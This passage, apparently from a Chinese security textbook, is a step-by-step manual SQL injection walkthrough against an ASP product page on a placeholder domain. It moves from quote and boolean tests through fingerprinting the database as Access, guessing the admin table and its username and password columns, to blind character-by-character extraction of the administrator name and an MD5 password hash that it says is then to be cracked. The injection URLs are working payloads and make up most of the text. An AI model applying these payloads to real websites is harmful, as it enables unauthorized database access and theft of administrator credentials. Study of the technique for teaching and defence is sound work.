第1步:加單引號。
如圖6.18所示,在瀏覽器地址欄中http://www.yyy.com/productDetail_c.asp?ID=568後面加一個單引號,按Enter鍵後,服務器返回錯誤提示。
第2步:測試“and 1=1”。如圖6.19所示,在瀏覽器地址欄中http://www.yyy.com/ productDetail_c.asp?ID=568後面加“and 1=1”,按Enter鍵後,服務器返回正常頁面。
第3步:測試“and 1=2”。
如圖6.20所示,在瀏覽器地址欄中http://www.yyy.com/productDetail_c.asp?ID=568後面加“and 1=2”,按Enter鍵後,服務器返回異常頁面。
第4步:判斷數據庫類型。
Access和SQL Server都有自己的系統表,比如存放數據庫中所有對象的表:Access是在系統表“msysobjects”中,但在Web環境下讀該表會提示“沒有權限”;SQL Server是在表“sysobjects”中,在Web環境下可正常讀取。
在確認可以注入的情況下,使用下面的語句:
http://www.yyy.com/productDetail_c.asp?ID=568 and (select count(*) from sysobjects)>0
如果數據庫是Access,由於找不到表sysobjects,服務器返回如圖6.21所示的錯誤提示。
使用下面的語句:
http://www.yyy.com/productDetail_c.asp?ID=568 and (select count(*) from msysobjects)>0
如果是Access數據庫,服務器會返回錯誤提示“在'msysobjects'上沒有讀取數據權限。”,如圖6.22所示,如果Web程序有容錯能力,那麼服務器返回的頁面也會與原頁面不同。
由上可以判斷數據庫用的是Access。
第5步:猜測表名。猜測表名時也可以使用如下形式:
http://www.yyy.com/productDetail_c.asp?ID=568 and (select count(*) from admin)>=0
http://www.yyy.com/productDetail_c.asp?ID=568 and exists(select * from admin)是向數據庫查詢是否存在admin表,如果存在則返回正常頁面,不存在會返回錯誤提示,如此循環,直至猜測到表名爲止。
返回正常頁面時,猜測到管理員表是admin。
第6步:猜測字段名(用戶名和密碼字段)。表名猜出來後,將count(*)替換成count(字段名),用同樣的原理猜解字段名。
首先猜測用戶名字段:
www.yyy.com/productDetail_c.asp?ID=568 and (select count(username) from admin)>=0
www.yyy.com/productDetail_c.asp?ID=568 and exists(select username from admin)返回正常頁面,用戶名字段猜測成功,用戶名字段名是“username”。
然後猜測密碼字段:
www.yyy.com/productDetail_c.asp?ID=568 and (select count(password) from admin)>=0
www.yyy.com/productDetail_c.asp?ID=568 and exists(select password from admin)返回正常頁面,則密碼字段猜測成功,密碼字段名是“password”。
第7步:猜測用戶名。已知表admin中存在username字段,下面使用ASCII逐字解碼法猜測用戶名。
猜測用戶名的長度:
www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(username) from admin)>4返回正常頁面;www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(username) from admin)>5返回不正常頁面,可知用戶名長度是5。
在得到用戶名長度後,用asc (mid (username, N, 1))獲得第N位字符的ASCII碼,比如:
(1)猜測第1個字符。
從ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>96顯示正常,而ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)>97顯示不正常,得第1個字符是“a”(查ASCII碼字符表,字符a的十進制編碼是97)。
(2)猜測第2個字符。
從ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>99顯示正常,而ID=568 and (select top 1 asc (mid (username, 2, 1)) from admin)>100顯示不正常,得第2個字符是“d”(查ASCII碼字符表,字符d的十進制編碼是100)。
(3)猜測第3個字符。
(4)猜測第4個字符。
(5)猜測第5個字符。
最終得到用戶名是“admin”。
第8步:猜測用戶密碼。已知表admin中存在password字段,下面猜測用戶admin的密碼。
猜測密碼的長度:
www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password) from admin)>15返回正常頁面,www.yyy.com/productDetail_c.asp?ID=568 and (select top 1 len(password) from admin)>16返回不正常頁面,可知用戶admin的密碼長度是16(md5加密後的)。
在得到用戶admin的密碼長度後,就可以用asc (mid (password, N, 1))獲得第N位字符的ASCII碼,比如:
(1)猜測第1個字符。
從ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>56顯示正常,而ID=568 and (select top 1 asc (mid (password, 1, 1)) from admin)>57顯示不正常,得第1個字符是“9”(查ASCII碼字符表,字符9的十進制編碼是57)。
(2)猜測第2個字符。
從ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>0到ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>56顯示正常,而ID=568 and (select top 1 asc (mid (password, 2, 1)) from admin)>57顯示不正常,得第2個字符是“9”(查ASCII碼字符表,字符9的十進制編碼是57)。
(3)猜測第3個字符。
(4)猜測第4個字符。
(5)猜測第5個字符。
(6)猜測第6個字符。
(7)猜測第7個字符。
(8)猜測第8個字符。
(9)猜測第9個字符。
(10)猜測第10個字符。
(11)猜測第11個字符。
(12)猜測第12個字符。
(13)猜測第13個字符。
(14)猜測第14個字符。
(15)猜測第15個字符。
(16)猜測第16個字符。
最終得到md5密碼是“993a366f61fd519a”,然後要對密碼進行破解。
注意:猜解Access時只能用ASCII逐字解碼法,SQL Server也可以用這種方法,但是如果能用MS SQL Server的報錯信息把相關信息暴露出來,會極大地提高效率和準確率。